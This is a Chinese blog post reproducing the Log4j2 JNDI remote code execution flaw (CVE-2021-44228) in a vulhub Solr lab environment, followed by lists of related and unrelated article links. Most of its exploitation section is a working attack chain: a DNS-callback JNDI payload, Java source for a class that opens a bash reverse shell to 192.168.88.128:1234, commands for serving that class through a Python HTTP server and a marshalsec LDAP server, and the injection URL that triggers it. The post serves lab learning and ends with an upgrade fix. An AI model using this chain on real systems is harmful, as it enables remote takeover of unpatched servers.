Apache Log4j2远程命令执行漏洞复现
Apache Log4j2 是一个基于Java的日志记录工具,被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。Log4j2 远程代码执行漏洞编号 CVE-2021-44228。
漏洞原理
漏洞主要由于Log4j2在处理程序日志记录时存在 JNDI 入缺陷。JNDI是Java名称与目录接口,是一种查找其他组件、资源或服务的通用机制。利用这个缺陷,通过发送包含JNDI查找的恶意数据,触发Log4j2组件解析缺陷,实现远程代码执行。
Log4j2框架下的 lookup 查询服务提供了 {} 字段解析功能,传进去的值会被直接解析。在lookup的{}里面构造Payload,调用JNDI服务(LDAP、RMI等)获取恶意的class对象,造成了远程代码执行。
复现
影响版本:Apache Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1
环境搭建:使用 vulhub 搭建
cd /vulhub/log4j/CVE-2021-44228
docker compose up -d
访问 8983 可查看到 Apache Solr 的后台页面:

向 action 参数值发送利用 JNDI 发送DNS请求的Payload:
${jndi:dns://${sys:java.version}.jukclj.dnslog.cn}

dnslog 平台成功收到解析记录,Payload中的 ${sys:java:version} 被替换为了对应的java版本。

在JNDI接口lookup查询进行注入Payload ${jndi:dns/ldap/rmi:evil-url/poc} JNDI就会去对应的服务如LDAP、RMI、DNS查找资源,上面这个Paylaod就为DNS查询。
首先需要的在本地编译一个class文件,目的是让靶机远程加载这个类,执行其中反弹shell的代码。
//javac Shell.java
import java.lang.Runtime;
import java.lang.Process;
public class Shell {
static {
try {
Runtime rt = Runtime.getRuntime();
Process pc = rt.exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.88.128/1234 0>&1");
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
class文件编译好以后,在class文件所在目录启用一个 python http 服务,让靶机可以访问到这个文件。
python3 -m http.server 2333 # 监听在2333端口
接着使用 marshalsec 这个项目来启动一个LADP服务,监听 1099 端口,并指定加载远程类文件:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.88.128:2333/#Shell" 1099
利用JNDI注入调用LADP服务来远程加载这个Shell类,执行反弹shell的代码:
http://192.168.88.150:8983/solr/admin/cores?action=${jndi:ldap://192.168.88.128:1099/Shell}

靶机回连到本地LADP服务,Python起的服务端收到请求返回Shell类,执行其中的反弹shell代码,kali监听1234收到反弹shell。

Log4j的利用方式和Fastjson很相似,通过JNDI注入,调用LDAP或RMI协议,远程加载恶意类造成反序列化命令执行。
漏洞修复
升级受影响的应用及组件,更新Log4j到新版本 log4j-2.15.0-rc2 及以上。
参考文章:
https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2021-44228-Log4jJNDI注入命令执行.md
https://www.freebuf.com/vuls/382838.html
若有错误,欢迎指正!o( ̄▽ ̄)ブ
Apache Log4j2远程命令执行漏洞复现的更多相关文章
- 【Vulfocus解题系列】手把手教你使用Vulfocus公开靶场对Apache Log4j2远程命令执行漏洞复现
前言 关于这个漏洞,啥都不用说了,直接发车. 工具下载 JNDIExploit:https://github.com/0x727/JNDIExploit 复现过程 启动靶场环境 直接用vulfocus ...
- Apache SSI 远程命令执行漏洞复现
Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- Apache SSI远程命令执行漏洞复现
漏洞原理:当目标服务器开启了SSI与CGI支持,就可以上传shtml文件,并利用语法执行任意命令,例如<!- - #exec cmd="ls"- ->,cmd后面跟要执 ...
- CVE-2019-0193:Apache Solr 远程命令执行漏洞复现
0x00 漏洞背景 2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重 0x01 影响范围 Apache Solr < 8.2.0 0x0 ...
- CVE-2021-25646:Apache Druid远程命令执行漏洞复现
漏洞概述 Apache Druid 是一个分布式的数据处理系统.Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码.在Druid 0.20.0及更低版本中, ...
- [CVE-2020-1956] Apache Kylin远程命令执行漏洞复现
Apache Kylin是一个开源的.分布式的分析型数据仓库,提供Hadoop/Spark之上的 SQL 查询接口及多维分析(OLAP)能力以支持超大规模数据,最初由 eBay 开发并贡献至开源社区. ...
- ThinkPHP 5.x远程命令执行漏洞复现
ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...
- Apache Log4j2远程代码执行漏洞攻击,华为云安全支持检测拦截
近日,华为云安全团队关注到Apache Log4j2 的远程代码执行最新漏洞.Apache Log4j2是一款业界广泛使用的基于Java的日志工具,该组件使用范围广泛,利用门槛低,漏洞危害极大.华为云 ...
- Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测
本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...
随机推荐
- Pandas从入门到放弃
公众号本文地址:https://mp.weixin.qq.com/s/mSkA5KvL1390Js8_1ZBiyw Pandas简介 Pandas是Panel data(面板数据)和Data anal ...
- JSP的文件上传和下载
文件的上传和下载 文件的上传和下载,是非常常见的功能.很多的系统中,或者软件中都经常使用文件的上传和下载. 比如:微信头像,就使用了上传. 邮箱中也有附件的上传和下载功能. 文件的上传介绍 1.要有一 ...
- 呵,老板不过如此,SQL还是得看我
2018年7月,大三暑假进行时,时间过得飞快,我到这边实习都已经一个月了. 我在没工作之前,我老是觉得生产项目的代码跟我平时自学练的会有很大的区别. 以为生产项目代码啥的都会规范很多,比如在接口上会做 ...
- if else 代码优化实战
前言 介绍几种方法,不使用if else语句也能做条件判断. 一:使用枚举 首先定义一个公用接口 RoleOperation,表示不同角色所能做的操作 package com.gavin.enums; ...
- TypeScript – Decorator Metadata
前言 在 TypeScript – Decorator 装饰器 里,我有提到 TypeScript 只实现了 decorate 的特性,把 metadata 的特性独立了出来. 本来我以为还需要等待很 ...
- C++ const常量指针
const常量指针 const是C++关键字,译为常量,const指针即为常量指针. 分为三类 指向const的指针 const指针 指向const的const指针 指向const的指针 表示指向区域 ...
- MyBatis——简介
MyBatis MyBatis 是一款优秀的持久层框架,用于简化 JDBC 开发 官网:https://mybatis.net.cn/ 持久层 负责将数据保存到数据库的那一层代码 javaEE 三层架 ...
- 配置windows update失败还原更改
配置windows update失败还原更改_解决方案 解决方法: 方法1: 重启,按F8,选择最后一次正常启动. 如果还是需要等待.可采用方法2: 方法2: 重启,按F8,选 ...
- Tauri2.0+Vite5聊天室|vue3+tauri2+element-plus仿微信|tauri聊天应用
原创tauri2.0+vue3+pinai2仿QQ/微信客户端聊天Exe程序TauriWinChat. tauri2-vue3-winchat自研vite5+tauri2.0+vue3 setup+e ...
- JS时间对象与字符串相互转换
1.Date => String 代码 /** * 函数描述:时间格式化工具 * @param format {String} 格式(y-年,M-月,d-日,H-时[24],h-时[12],m- ...